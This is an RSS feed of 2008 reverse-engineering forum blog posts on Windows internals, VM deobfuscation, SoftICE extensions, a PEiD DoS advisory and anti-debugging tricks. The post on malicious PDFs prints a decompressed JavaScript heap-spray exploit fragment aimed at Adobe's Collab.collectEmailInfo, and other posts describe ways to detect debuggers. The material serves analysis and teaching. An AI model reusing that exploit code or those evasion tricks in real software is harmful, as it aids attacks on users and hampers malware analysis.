<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title><![CDATA[RCE Messageboard's Regroupment - Blogs]]></title>
		<link>http://www.woodmann.com/forum/blog.php</link>
		<description>Serious reversing, cracking and programming discussions</description>
		<language>en</language>
		<lastBuildDate>Mon, 13 Oct 2008 12:54:09 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://www.woodmann.com/forum/images/misc/rss.jpg</url>
			<title><![CDATA[RCE Messageboard's Regroupment - Blogs]]></title>
			<link>http://www.woodmann.com/forum/blog.php</link>
		</image>
		<item>
			<title>On Analysis of Client-Server Software Applications</title>
			<link>http://www.woodmann.com/forum/blog.php?b=121</link>
			<pubDate>Sat, 11 Oct 2008 17:03:17 GMT</pubDate>
			<description>Hi, 
 
Initially was a closed paper, now I rewritten it a bit. Here a little Abstract: 
 
The principal objective of this paper is to give a good detailed 
panoramic view of the Security aspects involved in Client-Server based 
Applications. The panoramics will be seen from the point of view of a...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
Initially was a closed paper, now I rewritten it a bit. Here a little Abstract:<br />
<br />
<i>The principal objective of this paper is to give a good detailed<br />
panoramic view of the Security aspects involved in Client-Server based<br />
Applications. The panoramics will be seen from the point of view of a<br />
Reverse Engineer that should be aware of the Security Problems that are<br />
directly releated to the Client-Server Software Structure.</i><br />
<br />
and here the link:<br />
<br />
<i><u>http://evilcry.netsons.org/tuts/CSAnalysis.pdf</u></i><br />
<br />
Regards,<br />
Evilcry :)</div>

]]></content:encoded>
			<dc:creator>evilcry</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=121</guid>
		</item>
		<item>
			<title>Interesting Kernel32 Constant</title>
			<link>http://www.woodmann.com/forum/blog.php?b=120</link>
			<pubDate>Fri, 10 Oct 2008 09:47:55 GMT</pubDate>
			<description><![CDATA[while i was doing some Research i stumpled on something which i found very interesting , i was attempting to Change the Location of Peb->ProcessHeap , which i did successfully , but the application still continued to use the Old Heap , which i dident want , so i startet digging and came across...]]></description>
			<content:encoded><![CDATA[<div>while i was doing some Research i stumpled on something which i found very interesting , i was attempting to Change the Location of Peb-&gt;ProcessHeap , which i did successfully , but the application still continued to use the Old Heap , which i dident want , so i startet digging and came across something ive never seen before.<br />
<br />
in the Api LocalAlloc i found that it keeps a Constant copy of Peb-&gt;ProcessHeap inside Kernel32 itself.<br />
<br />
7C809A63   FF35 A453887C    PUSH DWORD PTR DS:[7C8853A4] -&gt; contains copy of Peb-&gt;ProcessHeap<br />
<br />
so modifying the PEB only had limited success , but changeing this Value aswell . fixed my problem.<br />
<br />
i guess pretty clearly this Push ..should have been a call GetProcessHeap() instead , or somebody else has a view why windows would do like this ?<br />
<br />
enjoy</div>

]]></content:encoded>
			<dc:creator>Arcane</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=120</guid>
		</item>
		<item>
			<title><![CDATA[Analyzing Malicious PDF's]]></title>
			<link>http://www.woodmann.com/forum/blog.php?b=119</link>
			<pubDate>Fri, 03 Oct 2008 17:43:18 GMT</pubDate>
			<description><![CDATA[The author of Malzilla released a tool recently titled 'PDF steams inflater'. It takes zlib compressed streams, decompresses them, and reveals the output. 
 
If you open a PDF file in a text editor these areas are denoted like so: 
 
 
Code: 
--------- 
stream 
xœ¥Wmoâ:þ¾Òþ‡¨Ò®@3í&tŠz©È 
…..]]></description>
			<content:encoded><![CDATA[<div>The author of Malzilla released a tool recently titled 'PDF steams inflater'. It takes zlib compressed streams, decompresses them, and reveals the output.<br />
<br />
If you open a PDF file in a text editor these areas are denoted like so:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 82px;
		text-align: left;
		overflow: auto">stream
xœ¥Wmoâ:þ¾Òþ‡¨Ò®@3í&amp;tŠz©È
…..
endstream</pre>
</div>It works quite well, as I threw it a malicious PDF I had and received the following output:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 242px;
		text-align: left;
		overflow: auto">....

function evil(){
var b=app.viewerVersion.toString();
b=b.replace(/\D/g,'');
var c = new Array(b.charAt(0),b.charAt(1),b.charAt(2));
if((c[0]==8&amp;&amp;((c[1]==1&amp;&amp;c[2]&lt;2)||c[1]&lt;1))||(c[0]==7&amp;&amp;c[1]&lt;1)||(c[0]&lt;7)){
	d();
	var e=unescape(&quot;%u0c0c%u0c0c&quot;);
	while(e.length&lt;44952)
		e+=e;
	this.collabStore=Collab.collectEmailInfo({subj: &quot;&quot;,msg: e});
	}
}</pre>
</div>A simple Google search reveals this an attempt at exploiting an overflow vulnerability in Adobe's JS engine.<br />
<br />
Overall, a great tool that everyone should throw into their arsenal.<br />
<br />
Original post and links to download the tool can be found <a href="http://www.woodmann.com/forum/showthread.php?p=77241" target="_blank">here</a></div>

]]></content:encoded>
			<dc:creator>joren</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=119</guid>
		</item>
		<item>
			<title>custom gpa spy</title>
			<link>http://www.woodmann.com/forum/blog.php?b=118</link>
			<pubDate>Mon, 15 Sep 2008 16:56:37 GMT</pubDate>
			<description><![CDATA[http://forums.accessroot.com/index.php?showtopic=7513 
  
  read above topic to know how this idea was born :)   well actually this idea was in my mind for almost a two years, but never found it useful to fully develop working code, but after reading this topic, and comments at posted link, I've...]]></description>
			<content:encoded><![CDATA[<div><i><u>http://forums.accessroot.com/index.php?showtopic=7513</u></i><br />
 <br />
  read above topic to know how this idea was born :)   well actually this idea was in my mind for almost a two years, but never found it useful to fully develop working code, but after reading this topic, and comments at posted link, I've decided to give it a go status. <br />
 <br />
 In short : at above link, you will find link to the other site which has statistic of used functions in common files. On other hand, many are missed due to GetProcAddress, and not to mention many being missed due to custom GetProcAddress. So how to spy custom GetProcAddress!?!? well read the code and you will see.<br />
<br />
This could be useful for protection profiling, and there are some other ways which I would use to deal with this, but for now, it seems ok, just so you get the basic idea. code is really messy, as I hate writing ring3 debuggers... <br />
<br />
full code and sample binary:<br />
<i><u>http://deroko.phearless.org/export_log.rar</u></i></div>

]]></content:encoded>
			<dc:creator>deroko</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=118</guid>
		</item>
		<item>
			<title>Debugger Detection Via NtSystemDebugControl</title>
			<link>http://www.woodmann.com/forum/blog.php?b=117</link>
			<pubDate>Sun, 14 Sep 2008 07:26:49 GMT</pubDate>
			<description><![CDATA[Hi, 
*NtSystemDebugControl()* is a really powerful undocumented function, that allows you Direct Manipulation of System's Structures. 
 
Here a definition of NtSystemDebugControl: 
 
http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Debug/NtSystemDebugControl.html 
 
The use of...]]></description>
			<content:encoded><![CDATA[<div>Hi,<br />
<b>NtSystemDebugControl()</b> is a really powerful undocumented function, that allows you Direct Manipulation of System's Structures.<br />
<br />
Here a definition of NtSystemDebugControl:<br />
<br />
<i><u>http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Debug/NtSystemDebugControl.html</u></i><br />
<br />
The use of this function is only limited to the fancy of the coder ;)<br />
<br />
I've rewritten some basical Anti Debugging Techniques with Direct Structure Reading with NtSystemDebugControl. Obviously there are shorter ways to implement these Anti-Dbg Apps, but I think that more reimplementations exists and more are possibilities to trick an attacker, that may not know/understands the application..especially if embedded in many..many.. Junk Code :)<br />
<br />
Here you can download the Source Code sample:<br />
<br />
<i><u>http://evilcry.netsons.org/other/ntsd.zip</u></i><br />
<br />
Have a nice Day,<br />
Evilcry</div>

]]></content:encoded>
			<dc:creator>evilcry</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=117</guid>
		</item>
		<item>
			<title>POP SS and Debuggers</title>
			<link>http://www.woodmann.com/forum/blog.php?b=116</link>
			<pubDate>Thu, 21 Aug 2008 20:14:28 GMT</pubDate>
			<description>This little trick is very interesting, my first encounter with it was in a commercial protection, it left me wondering why a Push / Pop SS would implicit execute the next instruction without the Debugger knowing of it, i.e. raising a single-step exception, so I’ve decided to look into it and try to...</description>
			<content:encoded><![CDATA[<div>This little trick is very interesting, my first encounter with it was in a commercial protection, it left me wondering why a Push / Pop SS would implicit execute the next instruction without the Debugger knowing of it, i.e. raising a single-step exception, so I’ve decided to look into it and try to figure out why, and I believe I have found the explanation , but first let me show you how this technique can be used to detect debuggers relying on the Single Step flag for tracing.<br />
<br />
If a debugger executes something like this:<br />
<br />
PUSHFD  -&gt; push Efflags to Stack .<br />
<br />
debuggers such as Olly is kind enough to “shadow” itself, And clean the result produced by this instruction and removing the trap flag from the EFflags pushed to stack.<br />
<br />
But if it’s done like this:<br />
<br />
Push ss<br />
pop ss<br />
pushfd<br />
<br />
Olly will not remove the trap flag, which is very interesting and leaves it very vulnerable to trace detection.  The Explanation seems to be pretty straight forward if you check out the Intel manuals and look up pop , you will find a passage similar to this :<br />
<br />
A POP SS instruction inhibits all interrupts, including the NMI interrupt, until after<br />
Execution of the next instruction. This action allows sequential execution of POP SS<br />
And MOV ESP, EBP instructions without the danger of having an invalid stack during<br />
An interrupt1. However, use of the LSS instruction is the preferred method of loading<br />
the SS and ESP registers.<br />
<br />
Well most of this can be boiled down to , if POP SS is executed , the CPU will prevent triggering of interrupts , as to avoid corruption of the stack. So why on earth is this affecting us when we are tracing using the single-step flag, well simply because when the  Single-step flag is set , it triggers and interrupt in the CPU  , but when a POP SS is executed it won’t trigger interrupts before it has executed the next instruction after it , and thus olly will never get a single-step exception for the PUSHFD and won’t know it has been executed , and thus wont clean out the trap-flag and leave us vulnerable to detection.<br />
<br />
Circumventing this trick , is tricky since simply patching it out is easy , but if implementet correctly it can prevent tracing of your code very effectively and be a pain in the ass.<br />
<br />
Comments and suggestions , are always welcome</div>

]]></content:encoded>
			<dc:creator>Arcane</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=116</guid>
		</item>
		<item>
			<title><![CDATA[Fighting Oreans' VM (code virtualizer flavour)]]></title>
			<link>http://www.woodmann.com/forum/blog.php?b=115</link>
			<pubDate>Tue, 19 Aug 2008 14:41:15 GMT</pubDate>
			<description><![CDATA[If you don't know what code virtualizer is, or how it works, you should read this first: 
http://rapidshare.com/files/16968098/Inside_Code_Virtualizer.rar 
(Inside Code Virtualizer by scherzo) 
 
Now, as you probably already know from paper by scherzo ;), one possible way recover virtualized code...]]></description>
			<content:encoded><![CDATA[<div>If you don't know what code virtualizer is, or how it works, you should read this first:<br />
<i><u>http://rapidshare.com/files/16968098/Inside_Code_Virtualizer.rar</u></i><br />
(Inside Code Virtualizer by scherzo)<br />
<br />
Now, as you probably already know from paper by scherzo ;), one possible way recover virtualized code is to identify each mutated handler (find corresponding non-mutated version). After this done, we can trace virtual opcodes and &quot;decompile&quot; them to VM instructions. Having &quot;clean&quot; decompiled output, we can translate it to x86 assembly. I consider the last step, to be simple &quot;find and replace&quot; job with flex/yacc. <br />
<br />
The problem is, oreans' vm obfuscation engine can be a bitch. Consider this piece of code:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 786px;
		text-align: left;
		overflow: auto">	push ebx 
	mov ebx 0F06h
	inc ebx 
	shr ebx 15h
	push ecx 
	mov ecx 6156h
	xor ebx ecx
	pop ecx 
	add ebx 4114h
	shl ebx 7
	push ecx 
	mov ecx 51351Ch
	xor ebx ecx
	pop ecx 
	add ebx edi
	mov eax [ebx]
	pop ebx 
	push 67E0h 
	mov [esp] edx
	mov edx 1
	and eax edx
	mov edx [esp]
	push edx 
	mov edx esp
	add edx 4
	add edx 4
	xchg edx [esp]
	pop esp 
	or eax eax
	push eax 
	mov eax 3B02h
	not eax 
	push ecx 
	mov ecx 0FFFFC3FFh
	sub eax ecx
	pop ecx 
	and [edi+1Ch] eax
	mov eax [esp]
	add esp 4
	push 3328h 
	mov [esp] ebx
	mov ebx [esp]
	push ecx 
	mov ecx esp
	add ecx 4
	add ecx 4
	xchg ecx [esp]
	pop esp</pre>
</div>It's one of VM's handlers. Can you tell what it does? Me neither, so let's try to deobfuscate this crap. <br />
<br />
It turns out that simple strategies like contant folding (<i><u>http://en.wikipedia.org/wiki/Constant_folding</u></i>), dead code elimination (<i><u>http://en.wikipedia.org/wiki/Dead_code</u></i>), peephole optimisation (find and replace :P) plus some stack cleaning ;), suffice to recover obfuscated code:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 818px;
		text-align: left;
		overflow: auto">
NEW = 47, OLD = 0, -47 lines removed
################################ NEXT ROUND ###########################
################################ original
push ebx 
mov ebx 00000f06 
inc ebx 
shr ebx 00000015 
push ecx 
mov ecx 00006156 
xor ebx ecx 
pop ecx 
add ebx 00004114 
shl ebx 00000007 
push ecx 
mov ecx 0051351c 
xor ebx ecx 
pop ecx 
add ebx edi 
mov eax [ebx ] 
pop ebx 
push 000067e0 
mov [esp ] edx 
mov edx 00000001 
and eax edx 
mov edx [esp ] 
push edx 
mov edx esp 
add edx 00000004 
add edx 00000004 
xchg edx [esp ] 
pop esp 
or eax eax 
push eax 
mov eax 00003b02 
not eax 
push ecx 
mov ecx ffffc3ff 
sub eax ecx 
pop ecx 
and [edi 0000001c ] eax 
mov eax [esp ] 
add esp 00000004 
push 00003328 
mov [esp ] ebx 
mov ebx [esp ] 
push ecx 
mov ecx esp 
add ecx 00000004 
add ecx 00000004 
xchg ecx [esp ] 
pop esp 
################################ after constant propagation and folding
push ebx 
mov ebx 00000000 
push ecx 
mov ecx 00006156 
xor ebx 00006156 
pop ecx 
add ebx 00004114 
shl ebx 00000007 
push ecx 
mov ecx 0051351c 
xor ebx 0051351c 
pop ecx 
add ebx edi 
mov eax [ebx ] 
pop ebx 
push 000067e0 
mov [esp ] edx 
mov edx 00000001 
and eax 00000001 
mov edx [esp ] 
push edx 
mov edx esp 
add edx 00000004 
add edx 00000004 
xchg edx [esp ] 
pop esp 
or eax eax 
push eax 
mov eax ffffc4fd 
push ecx 
mov ecx ffffc3ff 
sub eax ffffc3ff 
pop ecx 
and [edi 0000001c ] eax 
mov eax [esp ] 
add esp 00000004 
push 00003328 
mov [esp ] ebx 
mov ebx [esp ] 
push ecx 
mov ecx esp 
add ecx 00000004 
add ecx 00000004 
xchg ecx [esp ] 
pop esp 
################################ after dead code elimination
push ebx 
mov ebx 00000000 
push ecx 
xor ebx 00006156 
pop ecx 
add ebx 00004114 
shl ebx 00000007 
push ecx 
xor ebx 0051351c 
pop ecx 
add ebx edi 
mov eax [ebx ] 
pop ebx 
push 000067e0 
mov [esp ] edx 
and eax 00000001 
mov edx [esp ] 
push edx 
mov edx esp 
add edx 00000004 
add edx 00000004 
xchg edx [esp ] 
pop esp 
or eax eax 
push eax 
mov eax ffffc4fd 
push ecx 
sub eax ffffc3ff 
pop ecx 
and [edi 0000001c ] eax 
mov eax [esp ] 
add esp 00000004 
push 00003328 
mov [esp ] ebx 
mov ebx [esp ] 
push ecx 
mov ecx esp 
add ecx 00000004 
add ecx 00000004 
xchg ecx [esp ] 
pop esp 
################################ after peephole optimisation
push ebx 
mov ebx 00000000 
push ecx 
xor ebx 00006156 
pop ecx 
add ebx 00004114 
shl ebx 00000007 
push ecx 
xor ebx 0051351c 
pop ecx 
add ebx edi 
mov eax [ebx ] 
pop ebx 
push edx 
and eax 00000001 
pop edx 
or eax eax 
push eax 
mov eax ffffc4fd 
push ecx 
sub eax ffffc3ff 
pop ecx 
and [edi 0000001c ] eax 
pop eax 
push ebx 
pop ebx 
################################ after stack cleaning
mov ebx 00000000 
xor ebx 00006156 
add ebx 00004114 
shl ebx 00000007 
xor ebx 0051351c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
mov eax ffffc4fd 
sub eax ffffc3ff 
and [edi 0000001c ] eax 
NEW = 11, OLD = 47, 36 lines removed
################################ NEXT ROUND ###########################
################################ original
mov ebx 00000000 
xor ebx 00006156 
add ebx 00004114 
shl ebx 00000007 
xor ebx 0051351c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
mov eax ffffc4fd 
sub eax ffffc3ff 
and [edi 0000001c ] eax 
################################ after constant propagation and folding
mov ebx 0000001c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
mov eax 000000fe 
and [edi 0000001c ] 000000fe 
################################ after dead code elimination
mov ebx 0000001c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
and [edi 0000001c ] 000000fe 
################################ after peephole optimisation
mov ebx 0000001c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
and [edi 0000001c ] 000000fe 
################################ after stack cleaning
mov ebx 0000001c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
and [edi 0000001c ] 000000fe 
NEW = 5, OLD = 11, 6 lines removed
################################ NEXT ROUND ###########################
################################ original
mov ebx 0000001c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
and [edi 0000001c ] 000000fe 
################################ after constant propagation and folding
mov ebx 0000001c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
and [edi 0000001c ] 000000fe 
################################ after dead code elimination
mov ebx 0000001c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
and [edi 0000001c ] 000000fe 
################################ after peephole optimisation
mov ebx 0000001c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
and [edi 0000001c ] 000000fe 
################################ after stack cleaning
mov ebx 0000001c 
add ebx edi 
mov eax [ebx ] 
and eax 00000001 
or eax eax 
and [edi 0000001c ] 000000fe</pre>
</div>Well almost ;). Above trash is the verbose output of my little &quot;cleaner&quot; tool. Cleaner is usable, it'll give nice results for most of included code samples. In handlers.clean folder (see link at bottom) there are nonmutated versions of CV handlers. After deobfuscation, few heuristics can be applied to match deobfuscated and clean versions: edit distance / rare instruction matching (for example rol, ror, rcr are rare and show up only in one handler).<br />
<br />
The problem is, I got bored with all of this, so if anyone would like to help, I will be more than happy :)<br />
<br />
Here is the code:<br />
<i><u>http://www.orange-bat.com/oreans.rar</u></i><br />
<br />
compile with make, will work without problems under cygwin. it should work under linux. to use rip_handlers.py you will need idapython.<br />
<br />
There are some bugs in my code, beware :p.</div>

]]></content:encoded>
			<dc:creator>_g_</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=115</guid>
		</item>
		<item>
			<title>PEiD imports parsing DoS</title>
			<link>http://www.woodmann.com/forum/blog.php?b=114</link>
			<pubDate>Tue, 19 Aug 2008 13:41:02 GMT</pubDate>
			<description>-----BEGIN PGP SIGNED MESSAGE----- 
Hash: SHA1 
 
- - Orange Bat advisory - 
 
Name         	: PEiD v0.94 exe File Parsing DoS 
Class        	: DoS 
Published   	: 2008-08-18 
Credit		: g_ (g_ # orange-bat # com)</description>
			<content:encoded><![CDATA[<div>-----BEGIN PGP SIGNED MESSAGE-----<br />
Hash: SHA1<br />
<br />
- - Orange Bat advisory -<br />
<br />
Name         	: PEiD v0.94 exe File Parsing DoS<br />
Class        	: DoS<br />
Published   	: 2008-08-18<br />
Credit		: g_ (g_ # orange-bat # com)<br />
<br />
- - Details -<br />
<br />
When parsing .exe files, PEiD will allocate memory to hold the<br />
file content. Size of this memory chunk will be divisible by <br />
0x1000 (4KB). If the file size is a multiple of 4KB and if<br />
the import table is located at the end of the file, import parsing<br />
procedure could try to read data off the heap -- to check if<br />
there are more valid import descriptors, memory pointer is advanced <br />
without bounds checking and this leads to access violation:<br />
<br />
.text:0043958B loc_43958B:                           <br />
.text:0043958B                 mov     eax, [esi+10h] ;Oooops! <br />
.text:0043958E                 add     esi, 14h<br />
.text:00439591                 cmp     eax, ebx<br />
.text:00439593                 mov     [esp+60h+var_4C], esi<br />
.text:00439597                 jnz     loc_4393FE<br />
<br />
Exe file can still run normally after modifing the IAT btw, see POC.<br />
<br />
- - Proof of concept -<br />
<br />
<i><u>http://www.orange-bat.com/adv/2008/poc.08.18.peid.rar</u></i><br />
<br />
- - PGP -<br />
<br />
All advisories from Orange Bat are signed. You can find our public<br />
key here: <i><u>http://www.orange-bat.com/g_.asc</u></i><br />
<br />
- - Disclaimer -<br />
<br />
This document and all the information it contains is provided &quot;as is&quot;,<br />
without any warranty. Orange Bat is not responsible for the<br />
misuse of the information provided in this advisory. The advisory is<br />
provided for educational purposes only.<br />
<br />
Permission is hereby granted to redistribute this advisory, providing<br />
that no changes are made and that the copyright notices and<br />
disclaimers remain intact.<br />
<br />
(c) 2008 <i><u>www.orange-bat.com</u></i> <br />
<br />
<br />
-----BEGIN PGP SIGNATURE-----<br />
Version: GnuPG v1.4.9 (MingW32) - GPGshell v3.70<br />
<br />
iEYEARECAAYFAkiokJkACgkQIUHRVUfOLgUCcgCgxI1B4xeCqOV8prG6CisbRcTV<br />
ZZ8An1HSq/W4+Gx6gI9UeNCPqgwmo6jU<br />
=Ddln<br />
-----END PGP SIGNATURE-----</div>

]]></content:encoded>
			<dc:creator>_g_</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=114</guid>
		</item>
		<item>
			<title>Nucleus Framework</title>
			<link>http://www.woodmann.com/forum/blog.php?b=113</link>
			<pubDate>Sun, 17 Aug 2008 17:09:21 GMT</pubDate>
			<description>I just released the initial release of nucleus framework. You have to decide if you like it :) 
 
OHPen</description>
			<content:encoded><![CDATA[<div>I just released the initial release of nucleus framework. You have to decide if you like it :)<br />
<br />
OHPen</div>


<!-- attachments -->
	<div style="margin-top:10px">

		
		
		
		
			<fieldset class="fieldset">
				<legend>Attached Files</legend>
				<table cellpadding="0" cellspacing="3" border="0">
				<tr>
	<td><img class="inlineimg" src="http://www.woodmann.com/forum/images/attach/rar.gif" alt="File Type: rar" width="16" height="16" border="0" style="vertical-align:baseline" /></td>
	<td><a href="http://www.woodmann.com/forum/blog_attachment.php?attachmentid=20&amp;d=1218992984">nucleus_v1.0.0012.0846.rar</a> (153.6 KB, 270 views)</td>
</tr>
				</table>
			</fieldset>
		

	</div>
<!-- / attachments -->
]]></content:encoded>
			<dc:creator>OHPen</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=113</guid>
		</item>
		<item>
			<title>SoftICE and KDExtensions</title>
			<link>http://www.woodmann.com/forum/blog.php?b=112</link>
			<pubDate>Thu, 14 Aug 2008 03:31:20 GMT</pubDate>
			<description><![CDATA[Well I was writing one extension for softice, and I faced one serious problem which in turn might not be that big problem if softice authors decided to write softice code properly at some points. SoftICE manual doesn't provide us with concept how to write KDExtensions, but in turn it gives us tools...]]></description>
			<content:encoded><![CDATA[<div>Well I was writing one extension for softice, and I faced one serious problem which in turn might not be that big problem if softice authors decided to write softice code properly at some points. SoftICE manual doesn't provide us with concept how to write KDExtensions, but in turn it gives us tools which we might use to convert existing windbg extensions into softice extension. One of rules is that we may not use Exception Handling in KDExtension (taken from SoftICE manual), and silently it refuses usage of many exports from ntoskrnl.exe...<br />
<br />
KD2SYS.exe works simply by adding extra code to your dll, and changing it's entrypoint to code which looks like this:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 82px;
		text-align: left;
		overflow: auto">.1000147F: B800000000                     mov         eax,0
.10001484: C20800                         retn        8
.10001487: 0010                           add         [eax],dl
.10001489: 0000                           add         [eax],al</pre>
</div>when extension is loaded, it MUST have Debug symbols so softice will know that it should check EntryPoint for mov eax, 0/retn 8 using INT 2D (during driver loading ntoskrnl.exe will call -&gt; DbgLoadImageSymbols which in turns will call int 2D, hooked by SoftICE which will examine entrypoint of driver and substitute mov eax, 0 with jmp __softice_code which will in turn call DllEntryPoint.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 82px;
		text-align: left;
		overflow: auto">PAGE:004D7D27                 push    dword ptr [edi] ; ImageBase
PAGE:004D7D29                 call    _CacheImageSymbols@4 ; CacheImageSymbols(x)   
PAGE:004D7D2E                 test    eax, eax
PAGE:004D7D30                 jz      __no_debug_symbols</pre>
</div>Upper code shows part of ntos which checks if Debug directory is used, and after that it will call DbgLoadImageSymbols.<br />
<br />
<br />
If you take a look at upper Disassm code, you may see that right after retn 08 is stored : 1000h which is RVA of DllEntryPoint... You may examine a little bit hook of int2D and you will see how loading of KD takes place in SoftICE, not a nuclear physics as you may trace Int2D hook in SoftICE without a problem, as it will be running at PASSIVE_LEVEL (level at which drivers are being loaded).<br />
<br />
Next step is to create such driver that will have similar if not the same code which will be handld by SoftICE. My walkaround was to define DriverEntry in asm code like this:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 130px;
		text-align: left;
		overflow: auto">extern                  DllEntryPoint@12:dword 
public  C               DriverEntry@8

DriverEntry@8:          mov     eax, 0
                        ret     8
                        dd      0FFFFFFFFh
                        dd      offset DllEntryPoint@12</pre>
</div>Also make sure that TARGETTYPE=MINIPORT to link directly with DriverEntry@8 as your entrypoint, as DRIVER type will link using GsDriverEntry:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 194px;
		text-align: left;
		overflow: auto">INIT:00011185                 public GsDriverEntry
INIT:00011185 GsDriverEntry   proc near
INIT:00011185                 mov     edi, edi
INIT:00011187                 push    ebp
INIT:00011188                 mov     ebp, esp
INIT:0001118A                 mov     eax, __security_cookie
INIT:0001118F                 test    eax, eax
...
INIT:000111B8                 mov     __security_cookie_complement, eax
INIT:000111BD                 pop     ebp
INIT:000111BE                 jmp     DriverEntry</pre>
</div>Which is not what I want...<br />
<br />
Next step is to write convert.c/asm code which will:<br />
<br />
1. open your file<br />
2. locate entry point<br />
3. calculate relative offset of DllEntryPoint<br />
4. store it in placess of 0FFFFFFFF<br />
5. update checksum<br />
6. save changes :)<br />
<br />
Now you may have neet extension (at least that's how I write them). <b>Kayaker</b> probably has better solution :p<br />
<br />
Now comes funn part which I figgured after making dump of whole memory in VMWare, as minidump wasn't enough for me.<br />
<br />
I tried to call some procedures which require dropping of IRQL like ExAllocatePool, which will eventually endup in ExAcquireQueuedSpinLock, which will drop IRQL to DISPATCH_LEVEL. I've started receiving numerous BSODs, and I tought that IRQL was an issue... and those BSODs occured only, and only when I was breaking in softice from ring3 applications, so I figured something had to be wrong, but in my wildest dreams I wouldn't suspect that solution was that stupid...<br />
<br />
Let's have a look at code responsible for calling KDExtension in softice:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 818px;
		text-align: left;
		overflow: auto">.text:A7AB9D3A si_callExtension proc near             
.text:A7AB9D3A
.text:A7AB9D3A ExtensionApi    = dword ptr  8
.text:A7AB9D3A hCurrentProcess = dword ptr  0Ch
.text:A7AB9D3A hCurrentThread  = dword ptr  10h
.text:A7AB9D3A dwCurrentPc     = dword ptr  14h
.text:A7AB9D3A dwProcessor     = dword ptr  18h
.text:A7AB9D3A args            = dword ptr  1Ch
.text:A7AB9D3A
.text:A7AB9D3A                 push    ebp
.text:A7AB9D3B                 mov     ebp, esp
.text:A7AB9D3D                 push    ds
.text:A7AB9D3E                 push    es
.text:A7AB9D3F                 push    fs
.text:A7AB9D41                 push    gs
.text:A7AB9D43                 pusha
.text:A7AB9D44                 pushf
.text:A7AB9D45                 mov     edi, kd_extension_esp_start
.text:A7AB9D4B                 mov     ecx, kd_extension_stack_size
.text:A7AB9D51                 shr     ecx, 2
.text:A7AB9D54                 xor     eax, eax
.text:A7AB9D56                 cld
.text:A7AB9D57                 rep stosd
.text:A7AB9D59                 cli
.text:A7AB9D5A                 mov     save_sice_esp, esp
.text:A7AB9D60                 mov     save_sice_ebp, ebp
.text:A7AB9D66                 mov     ErrorString_to_display, 0
.text:A7AB9D70                 mov     si_extension_aborted_pagefault, 0
.text:A7AB9D77                 mov     b_extension_executing, 1
.text:A7AB9D7E                 mov     dl, 1
.text:A7AB9D80                 call    Install_Reinsall_DivideOverflowHandler
.text:A7AB9D85                 mov     esp, kd_extension_esp
.text:A7AB9D8B                 sti
.text:A7AB9D8C                 mov     fs, word ptr kd_extension_fs 
.text:A7AB9D92                 call    sub_A7AB9C86    
.text:A7AB9D97                 push    [ebp+args]
.text:A7AB9D9A                 push    [ebp+dwProcessor]
.text:A7AB9D9D                 push    [ebp+dwCurrentPc]
